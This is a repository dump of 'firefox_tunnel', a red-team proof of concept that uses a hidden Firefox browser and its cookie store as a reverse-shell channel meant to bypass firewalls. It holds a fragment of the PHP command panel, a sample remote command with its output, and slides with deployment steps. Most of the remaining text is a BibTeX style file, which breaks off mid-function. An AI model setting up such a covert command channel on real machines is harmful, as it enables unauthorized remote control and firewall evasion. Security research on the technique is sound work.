├── LICENSE ├── README.md ├── client └── firefox_shell │ ├── boot.php │ ├── firefox_cmd_tunnel.php │ ├── last_cmd.txt │ └── last_result.txt ├── doc ├── Beamer_Keynote_looking_style.pdf ├── beamer_demo.tex ├── beamerthemelankton-keynote.sty ├── img │ ├── firefoxtunnel.jpg │ ├── tony.jpg │ ├── tunnel1.png │ ├── tunnel2.png │ ├── tunnel4.png │ ├── tunnel6.png │ └── tunnel8.png └── paper │ ├── acmsiggraph.bst │ ├── acmsiggraph.cls │ ├── firefox_tunnel.pdf │ ├── images │ ├── fox_pixabay.jpg │ ├── tunnel4.png │ └── tunnel8.png │ ├── template.bib │ └── template.tex └── server ├── Firefox_Tunnel_unix ├── bin │ ├── firefox_tunnel │ ├── firefox_tunnel.exe │ ├── output.html │ └── tmp_cmd.log ├── makefile ├── readme_start.txt └── src │ ├── firefox_tunnel.cpp │ ├── lib │ ├── sqlite3.c │ ├── sqlite3.h │ ├── sqlite3.o │ └── sqlite3ext.h │ ├── utils.cpp │ └── utils.h └── Firefox_Tunnel_win32 ├── bin ├── firefox_tunnel.exe ├── output.html └── tmp_cmd.log ├── makefile ├── readme_start.txt └── src ├── firefox_tunnel.cpp ├── lib ├── mingw_thread.h ├── sqlite3.c ├── sqlite3.h ├── sqlite3.o └── sqlite3ext.h ├── utils.cpp └── utils.h /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Conviso Application Security 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # firefox_tunnel 2 | The way to use firefox to make a tunnel to remote communication. 3 | For I/O of payloads uses cookie.sqlite and html with javascript to auto submit, the browser runs in hidden mode. 4 | 5 | # Read the docs: 6 | https://medium.com/code-fighters/firefox-tunnel-to-bypass-any-firewall-bc6f8b432980 7 | 8 | 9 | # Step by step to run the PoC: 10 | 11 | https://github.com/convisoappsec/firefox_tunnel/blob/master/doc/Beamer_Keynote_looking_style.pdf 12 | 13 | # YouTube demo: 14 | https://www.youtube.com/watch?v=C23N4yDRkjU 15 | -------------------------------------------------------------------------------- /client/firefox_shell/boot.php: -------------------------------------------------------------------------------- 1 | 24 | -------------------------------------------------------------------------------- /client/firefox_shell/firefox_cmd_tunnel.php: -------------------------------------------------------------------------------- 1 | 18 |
19 | Firefox cookie reverse shell: 20 | Command:
21 |
22 | 23 |
24 | '; 25 | print $form."
"; 26 | $last_cmd=htmlentities(get_txt_content("last_result.txt")); 27 | if($last_cmd) { 28 | print "
".$last_cmd ."
"; 29 | } 30 | exit; 31 | } 32 | 33 | 34 | # if have command result save it in txt 35 | if($cmd_result) { 36 | $fp2 = fopen('last_result.txt', 'w'); 37 | fwrite($fp2, $cmd_result); 38 | fclose($fp2); 39 | } 40 | 41 | 42 | $last_command=base64_encode(get_txt_content("last_cmd.txt")); 43 | setcookie("command", $last_command, time() + (86400 * 30), "/"); 44 | 45 | 46 | 47 | ?> 48 | -------------------------------------------------------------------------------- /client/firefox_shell/last_cmd.txt: -------------------------------------------------------------------------------- 1 | dir C:\ -------------------------------------------------------------------------------- /client/firefox_shell/last_result.txt: -------------------------------------------------------------------------------- 1 | Volume in drive C has no label. 2 | Volume Serial Number is B0E6-F00B 3 | 4 | Directory of C:\ 5 | 6 | 06/10/2009 01:42 PM 24 autoexec.bat 7 | 06/10/2009 01:42 PM 10 config.sys 8 | 05/27/2017 05:16 AM cygwin 9 | 12/16/2017 07:18 PM MinGW 10 | 07/13/2009 06:37 PM PerfLogs 11 | 12/17/2017 03:54 PM Program Files 12 | 05/26/2017 01:24 AM Users 13 | 05/25/2017 10:57 PM Windows 14 | 2 File(s) 34 bytes 15 | 6 Dir(s) 1,027,493,888 bytes free 16 | -------------------------------------------------------------------------------- /doc/Beamer_Keynote_looking_style.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/doc/Beamer_Keynote_looking_style.pdf -------------------------------------------------------------------------------- /doc/beamer_demo.tex: -------------------------------------------------------------------------------- 1 | \documentclass[serif,mathserif]{beamer} 2 | \usepackage{amsmath, amsfonts, epsfig, xspace} 3 | \usepackage{algorithm,algorithmic} 4 | \usepackage{pstricks,pst-node} 5 | \usepackage{multimedia} 6 | \usepackage[normal,tight,center]{subfigure} 7 | \setlength{\subfigcapskip}{-.5em} 8 | \usepackage{beamerthemesplit} 9 | \usetheme{lankton-keynote} 10 | 11 | \author[ ]{Using firefox to make remote communication \quad \includegraphics[width=5.0cm]{img/firefoxtunnel.jpg}} 12 | 13 | \title[firefox tunnel\hspace{2em}\insertframenumber/\inserttotalframenumber]{Firefox tunnel} 14 | 15 | \date{ CoolerVoid - coolerlair@gmail.com - Dezember 21, 2017} %leave out for today's date to be insterted 16 | 17 | \institute{Illustration by Anthony S Waters} 18 | 19 | \begin{document} 20 | 21 | \maketitle 22 | % \section{Introduction} % add these to see outline in slides 23 | \begin{frame} 24 | \frametitle{whoami} 25 | CoolerVoid just another computer programmer and infosec guy. 26 | \end{frame} 27 | 28 | \begin{frame} 29 | \frametitle{Introduction} 30 | Motivations:\pause 31 | \begin{itemize} 32 | \item it's different technique, you can not find in msfvenom, veil...\pause 33 | \item RedTeam operations.\pause 34 | \item Improve the work.\pause 35 | \item Bypass any firewall. %leave out the \pause on the final item 36 | \end{itemize} 37 | \end{frame} 38 | 39 | % \section{Main Body} % add these to see outline in slides 40 | 41 | \begin{frame} 42 | \frametitle{The Justify} 43 | \begin{itemize} 44 | \item \includegraphics[width=10.0cm]{img/tunnel1.png} 45 | \end{itemize} 46 | \end{frame} 47 | 48 | \begin{frame} 49 | \frametitle{The Justify} 50 | \begin{itemize} 51 | \item \includegraphics[width=10.0cm]{img/tunnel2.png} 52 | \end{itemize} 53 | \end{frame} 54 | 55 | \begin{frame} 56 | \frametitle{The Justify} 57 | \begin{itemize} 58 | \item \includegraphics[width=10.0cm]{img/tunnel4.png} 59 | \end{itemize} 60 | \end{frame} 61 | 62 | \begin{frame} 63 | \frametitle{The Justify} 64 | \begin{itemize} 65 | \item \includegraphics[width=10.0cm]{img/tunnel6.png} 66 | \end{itemize} 67 | \end{frame} 68 | 69 | \begin{frame} 70 | \frametitle{The Justify} 71 | \begin{itemize} 72 | \item \includegraphics[width=10.0cm]{img/tunnel8.png} 73 | \end{itemize} 74 | \end{frame} 75 | 76 | \begin{frame} 77 | \frametitle{How too - Part 1} 78 | The recipe part 1 the web client:\pause 79 | \begin{itemize} 80 | \item Up in your remote host with httpd the directory firefox\char`_shell \pause 81 | \item Put that directory in root dir of server example: /var/www/html \pause 82 | \item Set permissions to write and read in all files of dir... with chmod command...\pause 83 | \item if you enter in http://machine/firefox\char`_shell/firefox\char`_cmd\char`_tunnel.php?input=1 you can control remote server. %leave out the \pause on the final item 84 | \end{itemize} 85 | \end{frame} 86 | 87 | \begin{frame} 88 | \frametitle{How too - Part 2} 89 | The recipe part 2 - the firefox tunnel server:\pause 90 | \begin{itemize} 91 | \item You need mingw32, gcc, c++ and make to build.\pause 92 | \item At file firefox\char`_tunnel.cpp change line 20 in var domain, replace it to your remote machine IP or DNS. \pause 93 | \item compile in root dir of server with command "mingw32-make", take exe file in directory bin \pause 94 | \item Execute the file, control him using the PHP client. \pause 95 | \item if you enter in http://machine/firefox\char`_shell/firefox\char`_cmd\char`_tunnel.php?input=1 you can control remote server. 96 | \end{itemize} 97 | \end{frame} 98 | 99 | % \section{Conclusion} % add these to see outline in slides 100 | \begin{frame} 101 | \frametitle{Demo} 102 | \begin{itemize} 103 | \item At YouTube 104 | \item Look that following: 105 | \item https://www.youtube.com/watch?v=C23N4yDRkjU 106 | \end{itemize} 107 | \end{frame} 108 | 109 | \begin{frame} 110 | \frametitle{Credits} 111 | \begin{itemize} 112 | \item Thank you 113 | \item Any doubt ? talk to me coolerlair@gmail.com 114 | \item Twitter: @Cooler\char`_freenode 115 | \item Github: https://github.com/CoolerVoid/ 116 | %http://newsgroups.derkeiler.com/Archive/Comp/comp.text.tex/2007-11/msg00299.html 117 | \end{itemize} 118 | \end{frame} 119 | 120 | \end{document} 121 | -------------------------------------------------------------------------------- /doc/beamerthemelankton-keynote.sty: -------------------------------------------------------------------------------- 1 | \renewcommand\sfdefault{phv} 2 | \renewcommand\familydefault{\sfdefault} 3 | \usetheme{default} 4 | \usepackage{color} 5 | \useoutertheme{default} 6 | \usepackage{texnansi} 7 | \usepackage{marvosym} 8 | \definecolor{bottomcolour}{rgb}{0.15,0.0,0.0} 9 | \definecolor{middlecolour}{rgb}{0.35,0.0,0.0} 10 | \setbeamerfont{title}{size=\Huge} 11 | \setbeamercolor{structure}{fg=gray} 12 | \setbeamertemplate{frametitle}[default]%[center] 13 | \setbeamercolor{normal text}{bg=black, fg=white} 14 | \setbeamertemplate{background canvas}[vertical shading] 15 | [bottom=bottomcolour, middle=middlecolour, top=black] 16 | \setbeamertemplate{items}[circle] 17 | \setbeamerfont{frametitle}{size=\huge} 18 | \setbeamertemplate{navigation symbols}{} %no nav symbols 19 | -------------------------------------------------------------------------------- /doc/img/firefoxtunnel.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/doc/img/firefoxtunnel.jpg -------------------------------------------------------------------------------- /doc/img/tony.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/doc/img/tony.jpg -------------------------------------------------------------------------------- /doc/img/tunnel1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/doc/img/tunnel1.png -------------------------------------------------------------------------------- /doc/img/tunnel2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/doc/img/tunnel2.png -------------------------------------------------------------------------------- /doc/img/tunnel4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/doc/img/tunnel4.png -------------------------------------------------------------------------------- /doc/img/tunnel6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/doc/img/tunnel6.png -------------------------------------------------------------------------------- /doc/img/tunnel8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Conviso-Archives/firefox_tunnel/aea99992cc2580227ee1a636dcab12e133b75e31/doc/img/tunnel8.png -------------------------------------------------------------------------------- /doc/paper/acmsiggraph.bst: -------------------------------------------------------------------------------- 1 | % 'acmsiggraph.bst' 2 | % ACM SIGGRAPH bibliography style (07-Sep-01 version) 3 | % * based on "ACM Transactions bibliography style (24-Jan-88 version)" 4 | % A lot like abbrv.bst, but names come out "Last, initials", and in \sc. 5 | % Some dates are parenthesized. 6 | % * the citation format -- [Jones 2001] -- is pulled from 'alpha.bst' 7 | % 8 | % Version History 9 | % * 07 Sept 2001: original version - Stephen Spencer (spencer@acm.org) 10 | % * 22 Dec 2003: tweaked file for entry w/out year, removed "n. d." 11 | 12 | ENTRY 13 | { address 14 | author 15 | booktitle 16 | chapter 17 | edition 18 | editor 19 | howpublished 20 | institution 21 | journal 22 | key 23 | month 24 | note 25 | number 26 | organization 27 | pages 28 | publisher 29 | school 30 | series 31 | title 32 | type 33 | volume 34 | year 35 | } 36 | {} 37 | { label extra.label sort.label} 38 | 39 | INTEGERS { output.state before.all mid.sentence after.sentence after.block } 40 | 41 | FUNCTION {init.state.consts} 42 | { #0 'before.all := 43 | #1 'mid.sentence := 44 | #2 'after.sentence := 45 | #3 'after.block := 46 | } 47 | 48 | STRINGS { s t } 49 | 50 | FUNCTION {output.nonnull} 51 | { 's := 52 | output.state mid.sentence = 53 | { ", " * write$ } 54 | { output.state after.block = 55 | { add.period$ write$ 56 | newline$ 57 | "\newblock " write$ 58 | } 59 | { output.state before.all = 60 | 'write$ 61 | { add.period$ " " * write$ } 62 | if$ 63 | } 64 | if$ 65 | mid.sentence 'output.state := 66 | } 67 | if$ 68 | s 69 | } 70 | 71 | FUNCTION {output} 72 | { duplicate$ empty$ 73 | 'pop$ 74 | 'output.nonnull 75 | if$ 76 | } 77 | 78 | FUNCTION {output.check} 79 | { 't := 80 | duplicate$ empty$ 81 | { pop$ "empty " t * " in " * cite$ * warning$ } 82 | 'output.nonnull 83 | if$ 84 | } 85 | 86 | FUNCTION {output.bibitem} 87 | { newline$ 88 | "\bibitem[" write$ 89 | label write$ 90 | "]{" write$ 91 | cite$ write$ 92 | "}" write$ 93 | newline$ 94 | "" 95 | before.all 'output.state := 96 | } 97 | 98 | FUNCTION {fin.entry} 99 | { add.period$ 100 | write$ 101 | newline$ 102 | } 103 | 104 | FUNCTION {new.block} 105 | { output.state before.all = 106 | 'skip$ 107 | { after.block 'output.state := } 108 | if$ 109 | } 110 | 111 | FUNCTION {new.sentence} 112 | { output.state after.block = 113 | 'skip$ 114 | { output.state before.all = 115 | 'skip$ 116 | { after.sentence 'output.state := } 117 | if$ 118 | } 119 | if$ 120 | } 121 | 122 | FUNCTION {not} 123 | { { #0 } 124 | { #1 } 125 | if$ 126 | } 127 | 128 | FUNCTION {and} 129 | { 'skip$ 130 | { pop$ #0 } 131 | if$ 132 | } 133 | 134 | FUNCTION {or} 135 | { { pop$ #1 } 136 | 'skip$ 137 | if$ 138 | } 139 | 140 | FUNCTION {new.block.checka} 141 | { empty$ 142 | 'skip$ 143 | 'new.block 144 | if$ 145 | } 146 | 147 | FUNCTION {new.block.checkb} 148 | { empty$ 149 | swap$ empty$ 150 | and 151 | 'skip$ 152 | 'new.block 153 | if$ 154 | } 155 | 156 | FUNCTION {field.or.null} 157 | { duplicate$ empty$ 158 | { pop$ "" } 159 | 'skip$ 160 | if$ 161 | } 162 | 163 | FUNCTION {emphasize} 164 | { duplicate$ empty$ 165 | { pop$ "" } 166 | { "{\em " swap$ * "}" * } 167 | if$ 168 | } 169 | 170 | FUNCTION {emphasizeic} 171 | { duplicate$ empty$ 172 | { pop$ "" } 173 | { "{\em " swap$ * "\/}" * } 174 | if$ 175 | } 176 | 177 | FUNCTION {scapify} 178 | { duplicate$ empty$ 179 | { pop$ "" } 180 | { "{\sc " swap$ * "}" * } 181 | if$ 182 | } 183 | 184 | INTEGERS { nameptr namesleft numnames } 185 | 186 | FUNCTION {format.names} 187 | { 's := 188 | #1 'nameptr := 189 | s num.names$ 'numnames := 190 | numnames 'namesleft := 191 | { namesleft #0 > } 192 | { s nameptr "{vv~}{ll}{, jj}{, f.}" format.name$ 't := 193 | nameptr #1 > 194 | { namesleft #1 > 195 | { ", " * t * } 196 | { t "others" = 197 | { ", et~al." * } 198 | { ", and " * t * } 199 | if$ 200 | } 201 | if$ 202 | } 203 | 't 204 | if$ 205 | nameptr #1 + 'nameptr := 206 | namesleft #1 - 'namesleft := 207 | } 208 | while$ 209 | } 210 | 211 | % For names inside entries (e.g., editors of an "In ..."); 212 | % this is exactly ABBRV.BST's `format.names' function. 213 | FUNCTION {format.innames} 214 | { 's := 215 | #1 'nameptr := 216 | s num.names$ 'numnames := 217 | numnames 'namesleft := 218 | { namesleft #0 > } 219 | { s nameptr "{f.~}{vv~}{ll}{, jj}" format.name$ 't := 220 | nameptr #1 > 221 | { namesleft #1 > 222 | { ", " * t * } 223 | { numnames #2 > 224 | { "," * } 225 | 'skip$ 226 | if$ 227 | t "others" = 228 | { " et~al." * } 229 | { " and " * t * } 230 | if$ 231 | } 232 | if$ 233 | } 234 | 't 235 | if$ 236 | nameptr #1 + 'nameptr := 237 | namesleft #1 - 'namesleft := 238 | } 239 | while$ 240 | } 241 | 242 | FUNCTION {format.authors} 243 | { author empty$ 244 | { "" } 245 | { author format.names scapify } 246 | if$ 247 | } 248 | 249 | FUNCTION {format.editors} 250 | { editor empty$ 251 | { "" } 252 | { editor format.names scapify 253 | editor num.names$ #1 > 254 | { ", Eds." * } 255 | { ", Ed." * } 256 | if$ 257 | } 258 | if$ 259 | } 260 | 261 | FUNCTION {format.publisher.address} 262 | { address empty$ 263 | { publisher empty$ 264 | 'skip$ 265 | { publisher "publisher" output.check 266 | } 267 | if$ 268 | } 269 | { publisher empty$ 270 | 'skip$ 271 | { publisher "publisher" output.check 272 | address "address" output.check 273 | } 274 | if$ 275 | } 276 | if$ 277 | } 278 | 279 | FUNCTION {format.ineditors} 280 | { editor empty$ 281 | { "" } 282 | { editor format.innames 283 | editor num.names$ #1 > 284 | { ", Eds." * } 285 | { ", Ed." * } 286 | if$ 287 | } 288 | if$ 289 | } 290 | 291 | FUNCTION {format.title} 292 | { title empty$ 293 | { "" } 294 | { title "t" change.case$ } 295 | if$ 296 | } 297 | 298 | FUNCTION {n.dashify} 299 | { 't := 300 | "" 301 | { t empty$ not } 302 | { t #1 #1 substring$ "-" = 303 | { t #1 #2 substring$ "--" = not 304 | { "--" * 305 | t #2 global.max$ substring$ 't := 306 | } 307 | { { t #1 #1 substring$ "-" = } 308 | { "-" * 309 | t #2 global.max$ substring$ 't := 310 | } 311 | while$ 312 | } 313 | if$ 314 | } 315 | { t #1 #1 substring$ * 316 | t #2 global.max$ substring$ 't := 317 | } 318 | if$ 319 | } 320 | while$ 321 | } 322 | 323 | FUNCTION {format.year} 324 | { year empty$ 325 | { "" } 326 | { year } 327 | if$ 328 | } 329 | 330 | FUNCTION {format.month} 331 | { month empty$ 332 | { "" } 333 | { month } 334 | if$ 335 | } 336 | 337 | FUNCTION {format.date} 338 | { year empty$ 339 | { month empty$ 340 | { "" } 341 | { "there's a month but no year in " cite$ * warning$ 342 | month 343 | } 344 | if$ 345 | } 346 | { month empty$ 347 | 'year 348 | { month " " * year * } 349 | if$ 350 | } 351 | if$ 352 | } 353 | 354 | FUNCTION {format.btitle} 355 | { title emphasize 356 | } 357 | 358 | FUNCTION {tie.or.space.connect} 359 | { duplicate$ text.length$ #3 < 360 | { "~" } 361 | { " " } 362 | if$ 363 | swap$ * * 364 | } 365 | 366 | FUNCTION {either.or.check} 367 | { empty$ 368 | 'pop$ 369 | { "can't use both " swap$ * " fields in " * cite$ * warning$ } 370 | if$ 371 | } 372 | 373 | FUNCTION {format.bvolume} 374 | { volume empty$ 375 | { "" } 376 | { "vol.~" volume * 377 | series empty$ 378 | 'skip$ 379 | { " of " * series emphasize * } 380 | if$ 381 | "volume and number" number either.or.check 382 | } 383 | if$ 384 | } 385 | 386 | FUNCTION {format.number.series} 387 | { volume empty$ 388 | { number empty$ 389 | { series field.or.null } 390 | { output.state mid.sentence = 391 | { "no.~" } 392 | { "No.~" } 393 | if$ 394 | number * 395 | series empty$ 396 | { "there's a number but no series in " cite$ * warning$ } 397 | { " in " * series * } 398 | if$ 399 | } 400 | if$ 401 | } 402 | { "" } 403 | if$ 404 | } 405 | 406 | FUNCTION {format.edition} 407 | { edition empty$ 408 | { "" } 409 | { output.state mid.sentence = 410 | { edition "l" change.case$ "~ed." * } 411 | { edition "t" change.case$ "~ed." * } 412 | if$ 413 | } 414 | if$ 415 | } 416 | 417 | FUNCTION {format.pages} 418 | { pages empty$ 419 | { "" } 420 | { pages n.dashify } 421 | if$ 422 | } 423 | 424 | INTEGERS { multiresult } 425 | 426 | FUNCTION {multi.page.check} 427 | { 't := 428 | #0 'multiresult := 429 | { multiresult not 430 | t empty$ not 431 | and 432 | } 433 | { t #1 #1 substring$ 434 | duplicate$ "-" = 435 | swap$ duplicate$ "," = 436 | swap$ "+" = 437 | or or 438 | { #1 'multiresult := } 439 | { t #2 global.max$ substring$ 't := } 440 | if$ 441 | } 442 | while$ 443 | multiresult 444 | } 445 | 446 | FUNCTION {format.pp.pages} 447 | { pages empty$ 448 | { "" } 449 | { pages multi.page.check 450 | { "pp.~" pages n.dashify * } 451 | { "p.~" pages * } 452 | if$ 453 | } 454 | if$ 455 | } 456 | 457 | FUNCTION {format.journal.vol.num.date} 458 | { journal empty$ 459 | { "empty journal in " cite$ * warning$ 460 | "" 461 | } 462 | { journal 463 | volume empty$ 464 | 'skip$ 465 | { " " * volume * } 466 | if$ 467 | number empty$ 468 | 'emphasizeic 469 | { emphasize ", " * number * } 470 | if$ 471 | month empty$ 472 | 'skip$ 473 | { " (" * format.month * ")" * } 474 | if$ 475 | } 476 | if$ 477 | } 478 | 479 | FUNCTION {format.chapter.pages} 480 | { chapter empty$ 481 | 'format.pages 482 | { type empty$ 483 | { "ch.~" chapter * } 484 | { type "l" change.case$ chapter tie.or.space.connect } 485 | if$ 486 | pages empty$ 487 | 'skip$ 488 | { ", " * format.pages * } 489 | if$ 490 | } 491 | if$ 492 | } 493 | 494 | FUNCTION {format.in.ed.booktitle} 495 | { booktitle empty$ 496 | { "" } 497 | { "In " booktitle emphasize * 498 | editor empty$ 499 | 'skip$ 500 | { ", " * format.ineditors * } 501 | if$ 502 | } 503 | if$ 504 | } 505 | 506 | FUNCTION {format.in.proc.date} 507 | { booktitle empty$ 508 | { "" } 509 | { "In " booktitle emphasize * } 510 | if$ 511 | } 512 | 513 | FUNCTION {empty.misc.check} 514 | { author empty$ title empty$ howpublished empty$ 515 | month empty$ year empty$ note empty$ 516 | and and and and and 517 | key empty$ not and 518 | { "all relevant fields are empty in " cite$ * warning$ } 519 | 'skip$ 520 | if$ 521 | } 522 | 523 | FUNCTION {format.thesis.type} 524 | { type empty$ 525 | 'skip$ 526 | { pop$ 527 | type "t" change.case$ 528 | } 529 | if$ 530 | } 531 | 532 | FUNCTION {format.tr.number} 533 | { type empty$ 534 | { "Tech. Rep." } 535 | 'type 536 | if$ 537 | number empty$ 538 | { "t" change.case$ } 539 | { number tie.or.space.connect } 540 | if$ 541 | } 542 | 543 | FUNCTION {format.article.crossref} 544 | { key empty$ 545 | { journal empty$ 546 | { "need key or journal for " cite$ * " to crossref " * crossref * 547 | warning$ 548 | "" 549 | } 550 | { "In {\em " journal * "\/}" * } 551 | if$ 552 | } 553 | { "In " key * } 554 | if$ 555 | " \cite{" * crossref * "}" * 556 | } 557 | 558 | FUNCTION {format.crossref.editor} 559 | { editor #1 "{vv~}{ll}" format.name$ 560 | editor num.names$ duplicate$ 561 | #2 > 562 | { pop$ " et~al." * } 563 | { #2 < 564 | 'skip$ 565 | { editor #2 "{ff }{vv }{ll}{ jj}" format.name$ "others" = 566 | { " et~al." * } 567 | { " and " * editor #2 "{vv~}{ll}" format.name$ * } 568 | if$ 569 | } 570 | if$ 571 | } 572 | if$ 573 | } 574 | 575 | FUNCTION {format.book.crossref} 576 | { volume empty$ 577 | { "empty volume in " cite$ * "'s crossref of " * crossref * warning$ 578 | "In " 579 | } 580 | { "Vol.~" volume * 581 | " of " * 582 | } 583 | if$ 584 | editor empty$ 585 | editor field.or.null author field.or.null = 586 | or 587 | { key empty$ 588 | { series empty$ 589 | { "need editor, key, or series for " cite$ * " to crossref " * 590 | crossref * warning$ 591 | "" * 592 | } 593 | { "{\em " * series * "\/}" * } 594 | if$ 595 | } 596 | { key * } 597 | if$ 598 | } 599 | { format.crossref.editor * } 600 | if$ 601 | " \cite{" * crossref * "}" * 602 | } 603 | 604 | FUNCTION {format.incoll.inproc.crossref} 605 | { editor empty$ 606 | editor field.or.null author field.or.null = 607 | or 608 | { key empty$ 609 | { booktitle empty$ 610 | { "need editor, key, or booktitle for " cite$ * " to crossref " * 611 | crossref * warning$ 612 | "" 613 | } 614 | { "In {\em " booktitle * "\/}" * } 615 | if$ 616 | } 617 | { "In " key * } 618 | if$ 619 | } 620 | { "In " format.crossref.editor * } 621 | if$ 622 | " \cite{" * crossref * "}" * 623 | } 624 | 625 | FUNCTION {article} 626 | { output.bibitem 627 | format.authors "author" output.check 628 | new.block 629 | format.year output 630 | new.block 631 | format.title "title" output.check 632 | new.block 633 | crossref missing$ 634 | { format.journal.vol.num.date output 635 | format.pages output 636 | } 637 | { format.article.crossref output.nonnull 638 | format.pages output 639 | } 640 | if$ 641 | new.block 642 | note output 643 | fin.entry 644 | } 645 | 646 | FUNCTION {book} 647 | { output.bibitem 648 | author empty$ 649 | { format.editors "author and editor" output.check } 650 | { format.authors output.nonnull 651 | crossref missing$ 652 | { "author and editor" editor either.or.check } 653 | 'skip$ 654 | if$ 655 | } 656 | if$ 657 | new.block 658 | format.year "year" output.check 659 | new.block 660 | format.btitle "title" output.check 661 | format.edition output 662 | crossref missing$ 663 | { format.bvolume output 664 | new.block 665 | format.number.series output 666 | new.sentence 667 | publisher "publisher" output.check 668 | address output 669 | } 670 | { new.block 671 | format.book.crossref output.nonnull 672 | } 673 | if$ 674 | format.month output 675 | new.block 676 | note output 677 | fin.entry 678 | } 679 | 680 | FUNCTION {booklet} 681 | { output.bibitem 682 | format.authors output 683 | new.block 684 | format.year output 685 | new.block 686 | format.title "title" output.check 687 | howpublished address new.block.checkb 688 | howpublished output 689 | address output 690 | format.month output 691 | new.block 692 | note output 693 | fin.entry 694 | } 695 | 696 | FUNCTION {inbook} 697 | { output.bibitem 698 | author empty$ 699 | { format.editors "author and editor" output.check } 700 | { format.authors output.nonnull 701 | crossref missing$ 702 | { "author and editor" editor either.or.check } 703 | 'skip$ 704 | if$ 705 | } 706 | if$ 707 | new.block 708 | format.year "year" output.check 709 | new.block 710 | format.btitle "title" output.check 711 | format.edition output 712 | crossref missing$ 713 | { format.bvolume output 714 | new.block 715 | format.number.series output 716 | new.sentence 717 | publisher "publisher" output.check 718 | address output 719 | } 720 | { new.block 721 | format.book.crossref output.nonnull 722 | } 723 | if$ 724 | format.month output 725 | format.chapter.pages "chapter and pages" output.check 726 | new.block 727 | note output 728 | fin.entry 729 | } 730 | 731 | FUNCTION {incollection} 732 | { output.bibitem 733 | format.authors "author" output.check 734 | new.block 735 | format.year "year" output.check 736 | new.block 737 | format.title "title" output.check 738 | new.block 739 | crossref missing$ 740 | { format.in.ed.booktitle "booktitle" output.check 741 | format.edition output 742 | format.bvolume output 743 | format.number.series output 744 | new.sentence 745 | publisher "publisher" output.check 746 | address output 747 | format.month output 748 | } 749 | { format.incoll.inproc.crossref output.nonnull } 750 | if$ 751 | format.chapter.pages output 752 | new.block 753 | note output 754 | fin.entry 755 | } 756 | 757 | FUNCTION {inproceedings} 758 | { output.bibitem 759 | format.authors "author" output.check 760 | new.block 761 | format.year "year" output.check 762 | new.block 763 | format.title "title" output.check 764 | new.block 765 | crossref missing$ 766 | { format.in.proc.date "booktitle" output.check 767 | address empty$ 768 | { publisher empty$ 769 | 'skip$ 770 | { publisher "publisher" output.check 771 | } 772 | if$ 773 | } 774 | { publisher empty$ 775 | 'skip$ 776 | { publisher "publisher" output.check 777 | address "address" output.check 778 | } 779 | if$ 780 | } 781 | if$ 782 | format.ineditors output 783 | format.bvolume output 784 | format.number.series output 785 | organization "organization" output.check 786 | } 787 | { format.incoll.inproc.crossref output.nonnull } 788 | if$ 789 | format.pages output 790 | new.block 791 | note output 792 | fin.entry 793 | } 794 | 795 | FUNCTION {conference} { inproceedings } 796 | 797 | FUNCTION {manual} 798 | { output.bibitem 799 | author empty$ 800 | { organization scapify output } 801 | { format.authors output.nonnull } 802 | if$ 803 | new.block 804 | format.year output 805 | new.block 806 | format.btitle "title" output.check 807 | format.edition output 808 | author empty$ 809 | { address new.block.checka } 810 | { organization address new.block.checkb 811 | organization output 812 | } 813 | if$ 814 | address output 815 | format.month output 816 | new.block 817 | note output 818 | fin.entry 819 | } 820 | 821 | FUNCTION {mastersthesis} 822 | { output.bibitem 823 | format.authors "author" output.check 824 | new.block 825 | format.year "year" output.check 826 | new.block 827 | format.btitle "title" output.check 828 | new.block 829 | "Master's thesis" format.thesis.type output.nonnull 830 | school "school" output.check 831 | address output 832 | new.block 833 | note output 834 | fin.entry 835 | } 836 | 837 | FUNCTION {misc} 838 | { output.bibitem 839 | format.authors output 840 | format.year output 841 | title howpublished new.block.checkb 842 | format.title output 843 | howpublished new.block.checka 844 | howpublished output 845 | format.month output 846 | new.block 847 | note output 848 | fin.entry 849 | empty.misc.check 850 | } 851 | 852 | FUNCTION {phdthesis} 853 | { output.bibitem 854 | format.authors "author" output.check 855 | new.block 856 | format.year "year" output.check 857 | new.block 858 | format.btitle "title" output.check 859 | new.block 860 | "PhD thesis" format.thesis.type output.nonnull 861 | school "school" output.check 862 | address output 863 | new.block 864 | note output 865 | fin.entry 866 | } 867 | 868 | FUNCTION {proceedings} 869 | { output.bibitem 870 | editor empty$ 871 | { organization scapify output } 872 | { format.editors output.nonnull } 873 | if$ 874 | new.block 875 | format.year output 876 | new.block 877 | title "title" output.check 878 | 